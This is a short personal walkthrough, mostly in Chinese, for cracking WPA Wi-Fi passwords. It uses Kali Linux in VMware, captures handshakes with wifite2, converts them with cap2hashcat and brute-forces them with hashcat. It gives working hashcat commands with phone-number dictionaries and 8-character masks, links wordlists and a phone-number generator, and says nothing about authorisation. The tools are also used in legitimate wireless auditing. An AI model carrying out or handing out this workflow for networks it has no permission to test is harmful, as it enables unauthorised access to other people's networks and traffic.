step 0: Install Kali Linux in VMware workstation
KALI官网提供了虚拟机中的镜像,直接下载并导入VM就OK.
如果报错,用VM升级一下镜像
step 1: 把USB无线网卡连接到虚拟机
step 2: 捕获握手的网络包 – wifite2
wifite2仓库链接 https://github.com/derv82/wifite2
wifite2捕获握手网络包的视频 https://www.youtube.com/watch?v=qpnpI_mF3Aw
Error: Cannot find None with Mode:Monitor
Click to expand
```bash └─$ sudo ./Wifite.py [sudo] password for kali: . . .´ · . . · `. wifite 2.2.5 : : : (¯) : : : automated wireless auditor `. · ` /¯\ ´ · .´ https://github.com/derv82/wifite2 ` /¯¯¯\ ´ [!] Warning: Recommended app pyrit was not found. install @ https://github.com/JPaulMora/Pyrit/wiki [!] Warning: Recommended app hcxpcaptool was not found. install @ https://github.com/ZerBea/hcxtools [!] Conflicting processes: NetworkManager (PID 572), wpa_supplicant (PID 2746) [!] If you have problems: kill -9 PID or re-run wifite with --kill) Interface PHY Driver Chipset [!] Exception: Cannot find None with Mode:Monitor [!] Exiting ```报错原因是存在进程冲突,按照提示在上述命令后加--kill
sudo ./Wifite.py --kill
step 3: 暴力破解握手包 – hashcat
https://hashcat.net/hashcat/
先转换网络包格式
https://hashcat.net/cap2hashcat/
生成密码字典
https://weakpass.com/
https://github.com/conwnet/wpa-dictionary
phone number generator https://github.com/asaotomo/makephonedict
跑包
跑字典
.\hashcat.exe -a 0 -m 22000 -o result.txt ..\672949_1694932864.hc22000 ..\phone_number_sh.txt
根据掩码进行破解
.\hashcat.exe -a3 -m 22000 -o result.txt ..\604\25413_1695390442.hc22000 -1 abcdefghijklmnpqrstuvwxyz0123456789 ?1?1?1?1?1?1?1?1
FAQ
Why wifite2 can’t scan any AP(the Access Point is a router)?
Reboot the Kali linux
hashcat
hiprtcCompileProgram is missing from HIPRTC shared library.
可以用,但是不知道用的是GPU,还是CPU?